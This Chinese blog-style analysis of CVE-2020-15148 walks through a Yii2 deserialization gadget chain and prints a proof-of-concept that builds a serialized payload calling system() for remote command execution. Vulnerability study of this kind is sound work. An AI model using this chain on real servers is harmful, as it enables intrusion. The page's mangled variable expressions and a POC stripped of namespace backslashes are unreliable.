CVE-2020-15148漏洞分析
基礎(chǔ)知識(shí)
在學(xué)習(xí)該漏洞之前我們需要學(xué)習(xí)一下前置知識(shí)來(lái)更好的理解該漏洞的產(chǎn)生原因以及如何利用。 我們先來(lái)學(xué)習(xí)一下框架的基本信息以及反序列化漏洞的基本利用過(guò)程。
Yii2
Yii是一個(gè)基于組件的高性能PHP框架,用于開發(fā)大型Web應(yīng)用。Yii采用嚴(yán)格的OOP編寫,并有著完善的庫(kù)引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個(gè)反序列化漏洞,該漏洞在調(diào)用unserialize時(shí),攻擊者可通過(guò)構(gòu)造特定的惡意請(qǐng)求執(zhí)行任意命令,這也是常見的反序列化漏洞的利用過(guò)程。
魔術(shù)方法
提到PHP反序列化一定離不開魔術(shù)方法,這些方法通常會(huì)在達(dá)到一些特殊條件后就會(huì)執(zhí)行,舉個(gè)例子:
__construct() //新建對(duì)象時(shí)調(diào)用
我們編寫下面的代碼:
當(dāng)我們執(zhí)行時(shí)new了一個(gè)類,這就會(huì)調(diào)用里面的魔術(shù)方法,從而輸出語(yǔ)句。當(dāng)然這只是最簡(jiǎn)單的魔術(shù)方法,下面給大家一個(gè)列表來(lái)進(jìn)行參考:
了解完以上知識(shí)點(diǎn)后我們開始對(duì)該漏洞進(jìn)行分析。
漏洞分析
首先我們要搭建環(huán)境,最好搭建在本地方便調(diào)試,源碼地址如下:
搭建完后我們首先找到漏洞切入點(diǎn),也就是可能存在威脅的地方,結(jié)合上面對(duì)魔術(shù)方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點(diǎn),因?yàn)槔锩嬗袀€(gè)魔術(shù)方法在對(duì)象銷毀時(shí)調(diào)用:
__destruct()調(diào)用了reset()方法,方法里面的$this->_dataReader是可控的:
public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }
于是思考接下來(lái)要如何利用,根據(jù)POC的構(gòu)造,假設(shè)我們將_dataReader變成類然后去調(diào)用close()方法,若類型沒有close()方法,同時(shí)還有__call魔術(shù)方法,則會(huì)調(diào)用該魔術(shù)方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調(diào)用了foemat方法:
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
跟進(jìn)這里:
$this->getFormatter($formatter)
看到存在可控參數(shù):
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } }
this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會(huì)發(fā)現(xiàn)值為:
$formatter='close',$arguments=空
即返回的第一個(gè)參數(shù)是可控的,我們便可以調(diào)用任意的無(wú)參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:
public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執(zhí)行RCE。利用鏈如下:
yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()
這里貼一個(gè)大佬們的POC:
<?php namespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'phpinfo();'; } } } namespace Faker{ use yiirestCreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yiidb{ use FakerGenerator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yiidbBatchQueryResult)); } ?>
下面是傳入構(gòu)造好的payload對(duì)網(wǎng)站進(jìn)行請(qǐng)求的結(jié)果,可以看到成功進(jìn)行了命令執(zhí)行。
結(jié)語(yǔ)
今天給大家?guī)?lái)的是CVE-2020-15148漏洞的簡(jiǎn)單分析,整體看下來(lái)還是很簡(jiǎn)單的,我們需要注意如何調(diào)用的魔術(shù)方法以及如何進(jìn)行RCE,有興趣的小伙伴可以自己去搭建環(huán)境進(jìn)行測(cè)試,喜歡本文的朋友希望可以一鍵三連支持一下。
以上就是CVE-2020-15148漏洞分析的詳細(xì)內(nèi)容,更多關(guān)于CVE-2020-15148漏洞的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
PHP+memcache實(shí)現(xiàn)消息隊(duì)列案例分享
現(xiàn)在memcache在服務(wù)器緩存應(yīng)用比較廣泛,下面我來(lái)介紹memcache實(shí)現(xiàn)消息隊(duì)列等待的一個(gè)例子,有需要了解的朋友可參考。2014-05-05PHP框架Laravel中實(shí)現(xiàn)supervisor執(zhí)行異步進(jìn)程的方法
這篇文章主要給大家介紹了PHP框架Laravel中實(shí)現(xiàn)supervisor執(zhí)行異步進(jìn)程的方法,文中介紹的非常詳細(xì),相信對(duì)大家具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起看看吧。2017-06-06Codeigniter通過(guò)SimpleXML將xml轉(zhuǎn)換成對(duì)象的方法
這篇文章主要介紹了Codeigniter通過(guò)SimpleXML將xml轉(zhuǎn)換成對(duì)象的方法,涉及Codeigniter操作XML文件的技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2015-03-03Laravel學(xué)習(xí)筆記之Artisan命令生成自定義模板的方法
這篇文章主要介紹了Laravel學(xué)習(xí)筆記之Artisan命令生成自定義模板的方法,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2018-11-11php實(shí)現(xiàn)文件編碼批量轉(zhuǎn)換
轉(zhuǎn)換文件編碼,比如原來(lái)是gbk,轉(zhuǎn)換成utf-8的,可以轉(zhuǎn)單個(gè)文件也可以轉(zhuǎn)換整個(gè)目錄的文件,可選是否遞歸目錄2014-03-03Yii視圖操作之自定義分頁(yè)實(shí)現(xiàn)方法
這篇文章主要介紹了Yii視圖操作之自定義分頁(yè)實(shí)現(xiàn)方法,結(jié)合實(shí)例形式分析了Yii自定義分頁(yè)的實(shí)現(xiàn)步驟與相關(guān)技巧,需要的朋友可以參考下2016-07-07Laravel 6 將新增為指定隊(duì)列任務(wù)設(shè)置中間件的功能
這篇文章主要介紹了Laravel 6 將新增為指定隊(duì)列任務(wù)設(shè)置中間件的功能,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-08-08使用phpunit進(jìn)行接口自動(dòng)化測(cè)試
下面小編就為大家分享一篇使用phpunit進(jìn)行接口自動(dòng)化測(cè)試,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-03-03